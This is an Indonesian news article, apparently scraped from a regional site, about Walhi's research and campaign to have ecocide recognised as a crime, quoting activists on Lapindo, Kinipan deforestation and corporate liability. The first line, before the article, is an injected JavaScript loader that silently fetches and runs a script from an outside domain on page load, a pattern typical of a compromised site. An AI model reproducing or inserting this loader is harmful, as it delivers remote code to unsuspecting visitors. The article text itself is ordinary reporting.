(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Ekosida: Kejahatan Lingkungan yang Berpotensi Melahirkan Genosida


Ada istilah yang terus dipopulerkan untuk kejahatan lingkungan hidup, yaitu ekosida atau ecoside. Penamaan secara khusus itu penting, untuk memberi tekanan bahwa perusakan lingkungan adalah sebuah kejahatan. Namun, menurut Kepala Desk Politik, Wahana Lingkungan Hidup (Walhi) Nasional, Khalisah Khalid, itu bukan kampanye yang mudah.

“Memang kita dihadapkan pada kenyataan sulit, untuk membawa kejahatan ekosida masuk menjadi wacana publik atau wacana yang ada di pengambil kebijakan. Kita sudah memproduksi gagasan ini sejak 2004 kemudian 2005 menerbitan bukunya,” kata Khalisah.

Kepala Desk Politik,Walhi Nasional, Khalisah Khalid. (Foto: VOA/Nurhadi Sucahyo)

Khalisah menyampaikan itu dalam paparan hasil riset Kejahatan Lingkungan Hidup (Ekosida) di Mata Publik. Acara diselenggarakan Walhi Kalimantan Tengah, Rabu (30/12) sore. Dia mengatakan, kejahatan sektor lingkungan, yang menyebabkan kerusakan luar biasa, telah terjadi selama bertahun-tahun di Indonesia. Kalimantan Tengah menjadi daerah yang bisa dijadikan contoh, bagaimana kebakaran hutan dan lahan terjadi sejak 1997 dan terus berulang, dengan dampak luar biasa dan tidak bisa dipulihkan.

Kampanye Lingkungan Dunia

Ekosida adalah prakarsa internasional. Setelah PBB menyepakati Statuta Roma pada 17 Juli 1998, yang memungkinkan Mahkamah Pidana Internasional (ICC) mengadili kejahatan kemanusiaan dan mencabut kekebalan hukum. Ada empat kejahatan yang ditangani ICC, yaitu kejahatan kemanusiaan, genosida, kejahatan perang, dan agresi. Pada 2011, Polly Higgins, seorang pengacara dari Inggris menginisiasi amandemen Statuta Roma. Dia ingin ekosida menjadi kejahatan yang bisa dibawa ke ICC. Namun, upaya itu belum berhasil hingga saat ini dan Higgins meninggal pada 2019.

Khalisa mengatakan, ICC sebenarnya memberi respon dan mengajak masyarakat global untuk memberikan perhatian serius kepada konfik agraria dan kejahatan lingkungan. Karena itulah, kampanye mengenai ekosida menjadi penting, khususnya di Indonesia, yang selama ini digawangi Walhi.

Lapindo Sidoarjo. (Foto: VOA/Petrus Riski)

Walhi, yang mengkampanyekan ekosida sejak 2005, memperjuangkan penerapannya pertama kali dalam kasus Lumpur Lapindo.

“Sayangnya, kasus Lumpur Lapindo diputuskan dalam paripurna Komnas HAM bukan sebagai pelanggaran berat HAM, karena tidak ditemukan terminologi kejahatan ekosida dalam UU 26 tahun 2000, tentang Pengadilan HAM. Jadi, kita terbentur hukum yang formalistik,” tambah Khalisa.

Walhi sebenarnya berharap ada terobosan hukum yang diambil ketika itu, yang tujuannya memberikan keadlan bagi korban dan lingkungan. Namun, karena ekosida tidak menjadi perhatian, bahkan sampai saat ini, terobosan hukum semacam itu tidak pernah diambil.

Untuk menekan pemerintah dalam isu ini, Walhi melakukan riset kepada 1.000 responden di tujuh provinsi, seputar pemahaman mereka terkait ekosida. Hasilnya, lebih 85 persen reponden berumur 16-25 tahun sudah mengetahui, bahwa persoalan lingkungan hidup adalah persoalan struktural dan melibatkan korporasi sebagai kekuatan besarnya. Mereka juga tahu, bahwa ini tidak lepas dari kebijakan pemerintah dan kemudahan izin yang diberikan.

Responden juga memahami bahwa hak atas lingkungan hidup adalah hak asasi manusia. Sebagian besar responden juga menilai, kejahatan lingkungan adalah pelanggaran berat HAM.

“Bahkan yang sudah tahu tentang ekosida itu angkanya lumayan besar, di atas 50 persen. Sebagai sebuah diskursus baru, mengenal kata ekosida saja itu sudah cukup sangat, meskipun perlu didalami lebih lanjut, sejauh mana pemahamannya,” lanjut Khalisa.

Libatkan Anak Muda Pedalaman

Aktivis lingkungan Pinarsita Juliana dari Save Our Borneo menyebut, pemahaman mengenai ekosida juga perlu bagi anak muda di kawasan pedalaman. Banyak aktivitas terkait lingkungan yang mulai diakrabi anak muda perkotaan, tetapi di pedesaan atau bahkan pedalaman, seperti Kalimantan Tengah, kampanye perlu lebih difokuskan. Juliana mengusulkan riset-riset terkait kejahatan lingkungan untuk lebih besar melibatkan anak muda pedalaman.

Aktivis Save Our Borneo lPinarsita Juliana. (Foto: VOA/Nurhadi Sucahyo)

Sebagai aktivis yang terlibat dalam aksi advokasi di Kalimantan, Jualiana mengaku bisa memahami ekosida sebagai sesuatu yang tidak jauh dari genosida. Apalagi, dia dan banyak aktivis lain saat ini sedang melakukan advokasi untuk masyarakat adat Dayak di Kinipan, Kalimantan Tengah.

“Apa yang sedang terjadi di Kinipan saat ini adalah ekosida dalam bentuk deforestasi. Ketika ruang hidup mereka hilang, sumber daya alam mereka juga hampir habis, karena eksploitasi dari perkebunan kelapa sawit, yang mana ekosida ini, deforestasi ini, ujung-ujungnya bisa jadi kepunahan juga terhadap masyarakat adat Dayak Kinipan,” kata Juliana.

Pembakaran hutan di dekat perkebunan kelapa sawit di Kabupaten Kapuas, dekat Palangka Raya, Kalimantan Tengah (Reuters).

Juliana juga mengusulkan, wacana ekosida kini tidak lagi fokus dimasukkan dalam kebijakan pemerintah, tetapi masuk lebih dini melalui kurikulum sekolah.

“Sampai saat ini belum ada kurikulum di Indonesia yang berbasis lingkungan. Padahal masalah yang selalu kita hadapi selalu berkaian dengan lingkungan,” ujarnya.

Indikasi Korporasi Pelau Ekosida

Akademisi hukum Universitas Muhammadiyah Palangkaraya, Mariaty A Niun menilai perlu adanya kejelasan soal korporasi terkait tindak ekosida itu sendiri. Sebuah rumusan diperlukan, untuk menentukan korporasi semacam apa yang telah melakukan ekosida. Riset selanjutnya dalam tema ini, perlu memperhatikan hal itu, terutama jika ingin ekosida masuk dalam ranah hukum.

“Apakah semua korporasi itu kemudian menjadi pelaku kejahatan ekosida? Ketika kita lihat judul penelitiannya, kan pertanyaannya, berarti korporasi sebagai pelaku kejahatan lingkungan dan bisa jadi itu masuk dalam ekosida. Tetapi kemudian, korporasi yang seperti apa?” tanya Mariaty.

Karena itulah, dalam wacana ekosida ini, Mariaty memandang perlu ditetapkannya sebuah indikator.

“Kita mungkin tidak bisa mengkategorikan semua korporasi sebagai pelaku, ketika kita tidak mempunyai indikator,” tegasnya.

Melihat respon anak muda dalam riset Walhi, Mariaty juga memandang penting kampanye ekosida ke depan lebih banyak dilakukan di media sosial. [ns/ab]

Editor : VOA


Al Ghifari

Recent Posts

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

7 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

8 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

8 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

10 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

10 jam ago

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

14 jam ago

This website uses cookies.